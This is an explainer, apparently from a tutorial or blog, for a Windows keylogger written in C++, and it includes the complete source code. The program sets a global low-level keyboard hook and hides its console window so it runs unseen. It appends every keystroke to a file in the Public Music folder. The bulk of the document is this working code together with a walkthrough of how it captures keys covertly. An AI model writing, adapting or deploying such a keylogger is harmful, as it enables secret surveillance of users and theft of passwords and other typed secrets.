
Keylogger

This code is a Windows program that sets up a low-level keyboard hook to intercept and log keypresses. It creates an invisible window, sets the keyboard hook, and logs the pressed keys to a file.

Here’s a breakdown of the code:

1. Header Includes:

◦ <windows.h>: Provides access to Windows API functions and data types.

◦ <stdio.h>: Standard input/output functions for file operations.

◦ <fstream>: File stream operations (not used in this code).

2. Global Variables:

◦ int keyCount = 0;: This variable is used to count the number of keys pressed.

3. KeyboardProc Function:

◦ LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam): This is the callback function for the keyboard hook. It’s called whenever a keyboard event occurs.

◦ Inside the function:

▪ It checks if nCode is HC_ACTION (a keyboard event) and wParam is WM_KEYDOWN (a key is pressed).

▪ If the conditions are met, it retrieves the virtual key code (vkCode) from the lParam.

▪ It opens a file at “C:\Users\Public\Music\log.txt” in append mode ("a").

▪ If the file is successfully opened, it writes the character corresponding to the vkCode to the file and then closes it.

▪ It increments keyCount to keep track of the number of keys pressed.

◦ The function returns the result of calling CallNextHookEx, which passes the event to the next hook in the hook chain.

4. WinMain Function:

◦ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow): This is the entry point of the program, which is typically used for

Windows GUI applications.

◦ Inside the function:

▪ It allocates a console window with AllocConsole() to enable console output.

▪ It hides the console window using ShowWindow(GetConsoleWindow(), SW_HIDE) to make it invisible to the user.

▪ It sets up a low-level keyboard hook using SetWindowsHookEx. The hook type is WH_KEYBOARD_LL (low-level keyboard hook), and the callback function is KeyboardProc. This hook

captures keyboard events globally.

▪ It enters a message loop with GetMessage to keep the program running and processing messages.

▪ Inside the loop, it calls TranslateMessage and DispatchMessage to handle incoming messages.

▪ When the loop exits (e.g., when the user closes the console), it unhooks the keyboard hook with UnhookWindowsHookEx.

In summary, this code creates a hidden Windows program that logs keypresses to a file while running in the background. It uses a low-level keyboard hook to capture key events and write them to

“C:\Users\Public\Music\log.txt.” The program remains active until it is closed by the user.

C++ Code

#include <windows.h>
#include <stdio.h>
#include <fstream>

int keyCount = 0;
// hook
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {

if (nCode == HC_ACTION && wParam == WM_KEYDOWN) {
DWORD vkCode = ((KBDLLHOOKSTRUCT*)lParam)->vkCode;

FILE* file;
fopen_s(&file, "C:\\Users\\Public\\Music\\log.txt", "a");
if (file != NULL) {

fprintf(file, "%c", vkCode);
fclose(file);

}
keyCount++;

}
return CallNextHookEx(NULL, nCode, wParam, lParam);

}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
// creating invisible window
AllocConsole();
ShowWindow(GetConsoleWindow(), SW_HIDE);

// set hook
HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);

// wait for events
MSG msg;
while (GetMessage(&msg, NULL, 0, 0) > 0) {

TranslateMessage(&msg);
DispatchMessage(&msg);

}
// delete hook
UnhookWindowsHookEx(hook);
return 0;

}


